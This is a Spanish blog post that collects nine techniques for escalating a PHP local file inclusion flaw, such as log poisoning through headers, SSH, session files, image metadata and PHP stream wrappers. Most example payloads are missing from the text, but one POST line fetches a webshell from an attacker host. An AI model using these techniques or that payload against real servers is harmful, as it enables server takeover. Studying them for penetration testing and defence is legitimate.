Este post no pretende ser una introducción o revisión exhaustiva de las vulnerabilidades de inclusión de código local o remoto. Por el contrario sí opino que la información concretamente de la explotación de un LFI se encuentra repetida hasta la saciedad, así como cada investigador ha aportado de forma dispersa pequeños trucos que amplían el espectro de explotación. Por lo tanto, creo que es interesante realizar una recopilación de estas mencionadas artimañas para conseguir el control de una máquina, permitiendo ésta la inclusión de código de forma local. Algunas de ellas son bastante conocidas, pero por el contrario, durante el trabajo de recopilación he dado con varias que desconocía y que me han sorprendido.
Muy brevemente comentaremos el punto de partida: un servidor Web que por ejemplo presenta una inclusión de código no sanitizada o filtrada correctamente. Aislando el código podría ser lo siguiente:
$param = $_GET[‘PARAM’];
include( $param . ‘.php’ );
?>
Pudiendo realizar un primer vector de ataque como:
Pero lo interesante de esta vulnerabilidad es como conseguir subir una webshell y poder obtener la posibilidad de ejecutar comandos del Sistema Operativo con los permisos del servidor Web, pudiendo comprometer completamente el servidor. Para ello y como se ha documentado ampliamente es necesario poder escribir código PHP en la máquina remota, utilizando algún tipo de log o registro.
El principal escollo será la configuración por defecto del motor de PHP, normalmente los parámetros del archivo “php.ini” “allow_url_include” y “allow_url_fopen”. Si ambos estuvieran a “On” no tendríamos mayor problema en realizar un RFI mediante:
Pero lo que presenta un mayor reto es como conseguir el control o por lo menos poder obtener ventaja de un LFI con estos parámetros a “Off“. A continuación se recopilan algunas formas de poder escribir en ficheros del servidor web con el objetivo de poder ser incluidos posteriormente.
1. Utilizando el User-Agent
- No “requiere allow_url_include” o “allow_url_fopen” a “on”
- Requiere que se guarde en el access.log la cadena de acceso de User-Agent
- Resultado: Ejecución de código PHP
Para explotar esta vulnerabilidad podemos mediante el complemento de Firefox Tamperdata, mediante Webscarab o Burp, modificar la cadena User-Agent introduciendo, por ejemplo, el código siguiente:
Este vector de ataque suele ser muy efectivo.
2. Variables de sesión de PHP
- No “requiere allow_url_include” o “allow_url_fopen” a “on”
- Requiere de acceso a la variable
- Resultado: Ejecución de código PHP
Este acción consiste en utilizar las variables de sesión que PHP gestiona normalmente en el directorio “/var/lib/php5/sess_ID”, donde ID es el identificador de nuestra sesión, consultable en las cookies que el servidor nos remite.
De esta manera tan sólo tenemos que sustituir por ejemplo el siguiente código
por:
codificando el vector de ataque en URLencode. Por último, tan solo tenemos que realizar el include de dicha variable
3. Servicio sshd
- No “requiere allow_url_include” o “allow_url_fopen” a “on”
- Requiere que el servidor web se ejecute con privilegios de root
- Requiere de el servicio sshd instalado y accesible
- Límite de caracteres
- Resultado: Ejecución de código PHP
Otra forma de poder escribir en un log del sistema remoto, con el objetivo de realizar el include posterior es utilizar el servicio de ssh si este se encuentra activo en el servidor. Para ello realizaremos una conexión ssh con el codigo PHP que queremos ejecutar como nombre de usuario y escapando los caracteres:
Acto seguido tan solo tenemos que incluir el archivo auth.log
Este vector de ataque es más difícil de ejecutar, pero en estas cosas, nunca se sabe.
4. Metadatos de la cabecera jpg
- No requiere “allow_url_include” o “allow_url_fopen” a “on”
- Requiere que el servidor permita subir imágenes
- Resultado: Ejecución de código PHP
Para ello debemos subir al servidor una imagen jpg modificando su cabecera exim mediante el comando jhead.
Tras subir la imagen tan solo queda realizar el include:
5. Utilizando la autenticación BASIC
- No “requiere allow_url_include” o “allow_url_fopen” a “on”
- Requiere que el servidor contenga una zona privada protegida con BASIC
- Límite de caracteres
- Resultado: Ejecución de código PHP
Para ello tan solo tenemos que introducir en el nombre de usuario el código PHP que deseamos ejecutar:
Quedando el access.log de la siguiente manera:
Incluyendo posteriormente el archivo access.log:
6. Utilizando el MTA local
- No “requiere allow_url_include” o “allow_url_fopen” a “on”
- Requiere de privilegios de root
- Requiere de un servidor de correo instalado y accesible
- Resultado: Ejecución de código PHP
Esta técnica es más complicada de explotar, pero podría ser posible remitir un correo electrónico a una cuenta del servidor e incluir el buzón del cliente localizado en /var/spool/mail/ o /var/log/maillog.
Realizando el include posterior:
7. Utilizando los wrappers de php filter
- No “requiere allow_url_include” o “allow_url_fopen” a “on”
- Resultado: Descarga de código fuente PHP
Este vector es uno de los que más me ha sorprendido descubierto por diablohorn, ya que a priori con un LFI no es posible obtener el código php, porque lógicamente lo interpreta y lo ejecuta. De esta manera podemos descargar el fuente y buscar nuevas vulnerabilidades. Para ello utilizaremos la función “filter” apoyándonos en la conversión base64.
Con el vector de ataque anterior descargaremos el fuente de vulnerable.php en base64.
8. Utilizando los wrappers de php input
- Requiere “allow_url_include” y “allow_url_fopen” a “on”
- Resultado: Ejecución de código PHP
Este ataque puede ser explotado llamando al wrapper de php “input” y pasando como parámetros post el código php que deseamos ejecutar. Como en casos anteriores podemos apoyarnos en Tamperdata, Webscarab o Burp, para forjar el paquete POST.
POST
<?php system(‘GET http://servidorAtacante/webshell.txt > weshell.php’); ?>
9. Utilizando los wrappers de php text
- Requiere “allow_url_include” y “allow_url_fopen” a “on”
- Resultado: Ejecución de código PHP
Este, que un principio creía de mi cosecha, fruto del proceso de estudio de los wrappers, me di cuenta que en algunos sites chinos aparece documentado, así que :(. El vector de ataque permite la ejecución de código PHP directamente en la URL
El principal problema como el anterior, es la necesidad de tener activos los parámetros “allow_url_include” y “allow_url_fopen”.
De esta manera se han presentado 9 posibles formas de explotar un LFI, pero esto no acaba aquí. Tan solo hay que echarle imaginación y enfrentarse a un entorno particular para poder identificar posibles formas de escribir código en la máquina remota y así poder incluirlo posteriormente. Nuevos trucos son bienvenidos y el feedback de los lectores apreciado enormemente.
Referencias:
http://diablohorn.wordpress.com/2010/01/16/interesting-local-file-inclusion-method/
http://0verl0ad.blogspot.com/2008/08/local-file-inclusion-infectando.html
http://www.exploit-db.com/papers/12886/
Loco, muy buena recopilacion :)
Gracias Duvan, un saludo.